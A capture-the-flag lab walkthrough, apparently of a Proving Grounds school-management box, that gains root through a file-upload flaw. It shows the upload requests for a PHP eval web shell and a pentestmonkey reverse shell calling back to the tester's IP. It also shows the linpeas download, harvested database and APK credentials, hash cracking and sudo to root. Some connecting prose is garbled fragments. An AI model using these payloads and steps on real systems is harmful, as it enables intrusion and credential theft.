

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.221.13 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.221.13:22
Open 192.168.221.13:80

PORT  STATE SERVICE REASON  VERSION
22/tcp open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Wisdom Elementary School
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` usefuff
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.221.13/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt

assets [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 58ms]
index.html [Status: 200, Size: 23698, Words: 7065, Lines: 559, Duration: 56ms]
management [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 59ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 60ms]
vendor [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 59ms]

(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.221.13/management/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt

.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 59ms]
Admin [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 155ms]
Documents and Settings [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 58ms]
Login [Status: 200, Size: 6374, Words: 828, Lines: 125, Duration: 74ms]
Program Files [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 60ms]
README [Status: 200, Size: 66, Words: 8, Lines: 1, Duration: 59ms]
.hta [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 2129ms]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 2130ms]
admin [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 66ms]
application [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 53ms]
assets [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 54ms]
dist [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 1401ms]
index.php [Status: 200, Size: 6374, Words: 828, Lines: 125, Duration: 87ms]
installation [Status: 301, Size: 334, Words: 20, Lines: 10, Duration: 70ms]
js [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 66ms]
login [Status: 200, Size: 6374, Words: 828, Lines: 125, Duration: 70ms]
payment [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 61ms]
reports list [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 55ms]
system [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 62ms]
uploads [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 323ms]
``` edb-50587 \(https://www.exploit-db.com/exploits/50587?source=post\_page-----2bb26b45d97e-----\)
),/uploads/exam_question/directorycanupload shell,,burpsuite
```

```
# request
POST /management/admin/examQuestion/create HTTP/1.1

Host: 192.168.221.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
boundary=-----183813756938980137172117669544
Content-Length: 1349
Origin: http://192.168.221.13
Connection: close
Referer: http://192.168.221.13/admin/examQuestion
Cookie: ci_session=plirg7kjpn8egtb1595j7oap9e4lg0is
Upgrade-Insecure-Requests: 1

-----183813756938980137172117669544
Content-Disposition: form-data; name="name"

test4
-----183813756938980137172117669544
Content-Disposition: form-data; name="class_id"

2
-----183813756938980137172117669544
Content-Disposition: form-data; name="subject_id"

5
-----183813756938980137172117669544
Content-Disposition: form-data; name="timestamp"

2021-12-08
-----183813756938980137172117669544
Content-Disposition: form-data; name="teacher_id"

1
-----183813756938980137172117669544
Content-Disposition: form-data; name="file_type"

txt
-----183813756938980137172117669544
Content-Disposition: form-data; name="status"

1
-----183813756938980137172117669544
Content-Disposition: form-data; name="description"

123123
-----183813756938980137172117669544
Content-Disposition: form-data; name="_ysihtml5_mode"

1
-----183813756938980137172117669544
Content-Disposition: form-data; name="file_name"; filename="cmd.php"
Content-Type: application/octet-stream

<?php eval($_GET["cmd"]); ?>
-----183813756938980137172117669544--
---
```Content-Type: multipart/form-data; boundary=-----
-183813756938980137172117669544`use!!!!!!!!,find`cmd.php`upload,Go to
`http://192.168.221.13/management/uploads/exam_question/cmd.php?cmd=phpinfo()`finduse upload reverse shell
```

POST /management/admin/examQuestion/create HTTP/1.1

Host: 192.168.221.13

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: multipart/form-data; boundary=-----183813756938980137172117669544  
Content-Length: 6988  
Origin: http://192.168.221.13  
Connection: close  
Referer: http://192.168.221.13/admin/examQuestion  
Cookie: ci\_session=plirg7kjp8egtb1595j7oap9e4lg0is  
Upgrade-Insecure-Requests: 1

-----183813756938980137172117669544  
Content-Disposition: form-data; name="name"

test4

-----183813756938980137172117669544  
Content-Disposition: form-data; name="class\_id"

2

-----183813756938980137172117669544  
Content-Disposition: form-data; name="subject\_id"

5

-----183813756938980137172117669544  
Content-Disposition: form-data; name="timestamp"

2021-12-08

-----183813756938980137172117669544  
Content-Disposition: form-data; name="teacher\_id"

1

-----183813756938980137172117669544  
Content-Disposition: form-data; name="file\_type"

txt

-----183813756938980137172117669544  
Content-Disposition: form-data; name="status"

1

-----183813756938980137172117669544  
Content-Disposition: form-data; name="description"

123123

-----183813756938980137172117669544  
Content-Disposition: form-data; name="\_wysihtml5\_mode"

1

-----183813756938980137172117669544  
Content-Disposition: form-data; name="file\_name"; filename="shell.php"  
Content-Type: application/octet-stream

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
```

```
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// ----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.198'; // CHANGE THIS
$port = 80; // CHANGE THIS
$chunk_size = 1400;
...
''' Open nc, Go to http://192.168.221.13/management/uploads/exam_question/shell.php
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
``` uselinpeas
```

```
www-data@school:/tmp$ wget 192.168.45.198:22/linpeas.sh
www-data@school:/tmp$ chmod +x linpeas.sh
www-data@school:/tmp$ ./linpeas.sh
```

===== Analyzing Backup Manager Files (limit 70)

```
-rw-r--r-- 1 www-data www-data 3896 Mar 31 2023 /var/www/html/management/application/config/database.php
| ['password'] The password used to connect to the database
| ['database'] The name of the database you want to connect to
'password' => '@jCma4s8ZM<?kA',
'database' => 'school_mgment',
''' Checkdatabase.php
```

```
www-data@school:/tmp$ cat /var/www/html/management/application/config/database.php

$db['default'] = array(
    'dsn' => '',
    'hostname' => 'localhost',
    'username' => 'school',
    'password' => '@jCma4s8ZM<?kA',
    'database' => 'school_mgment',
    ``` use `school/@jCma4s8ZM<?kA` login, Checktable
```

```
www-data@school:/tmp$ mysql -u "school"
Enter password: @jCma4s8ZM<?kA
```

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
```

```
| school_mgment |
| sys |
+-----+
```

```
mysql> use school_mgmet
mysql> show tables;
```

-----+
Tables_in_school_mgment
-----+
academic_syllabus
activity
admin
admin_role
assignment
attendance
bank
book
book_category
ci_sessions
circular
class
club
department
designation
dormitory
enquiry
enquiry_category
exam
exam_question
expense_category
hostel_category
hostel_room
house
invoice
language
language_list
leave
mark
material
noticeboard
parent
payment
section
settings
sms_settings
social_category
student
student_category
subject
teacher
transport
transport_route
vehicle
-----+

```
mysql> select * from teacher;
```

teacher_id	name	role	teacher_number	birthday	sex	religion	blood_group	address	phone	email	facebook	twitter	googleplus	linkedin	qualification	marital_status	file_name	password	department_id	designation_id	date_of_joining	joining_salary	status	date_of_leaving	bank_id	login_status
1	Testing Teacher	1	f82e5cc	2018-08-19	male	Christianity	B+	546787, Kertz shopping complex, Silicon Valley, United State of America, New York city.	+912345667	michael_sander@school.pg	facebook	twitter	googleplus	linkedin	PhD	Married	profile.png	3db12170ff3e811db10a76eadd9e9986e3c1a5b7	2	4	2019-09-15	5000	1	2019-09-18	3	0

```
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
```

```
|Hash|Type|Result|
|3db12170ff3e811db10a76eadd9e9986e3c1a5b7|sha1|greatteacher123|
``` msander@can/home/msander$ get local.txt
```

```
msander@school:~$ cat local.txt
e610e2ef6a1c55e3ce48f32e2336b644
``` `/home/emiller/development` grade-app.apk`kali[Mobile-Security-Framework-MobSF]
(https://github.com/MobSF/Mobile-Security-Framework-MobSF) upload
```

```
msander@school:/home/emiller/development$ scp grade-app.apk kali@192.168.45.198:/home/kali/
```

```
└─(kali@kali)~[/pgplay/Mobile-Security-Framework-MobSF]
└─$ sudo docker pull opensecurity/mobile-security-framework-mobsf:latest
```

```
└─(kali@kali)~[/pgplay/Mobile-Security-Framework-MobSF]
└─$ sudo docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
``` upload apk e.miller's password
```

```
POSSIBLE HARDCODED SECRETS
Showing all 2 secrets
"temp_password" : "EzPwz2022_dev1$23!!"
"temp_user" : "e.miller"
``` `emiller`,root,`/root`get proof.txt
```

```
msander@school:/home$ su emiller
Password: EzPwz2022_dev1$23!!
```

```
emiller@school:/home$ sudo -l
[sudo] password for emiller: EzPwz2022_dev1$23!!
```

```
Matching Defaults entries for emiller on school:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

```
User emiller may run the following commands on school:
(ALL : ALL) ALL
```

```
emiller@school:/home$ sudo su
root@school:~# cat proof.txt
82f7a9b21e797ffdc9c8da9aae2a2978
```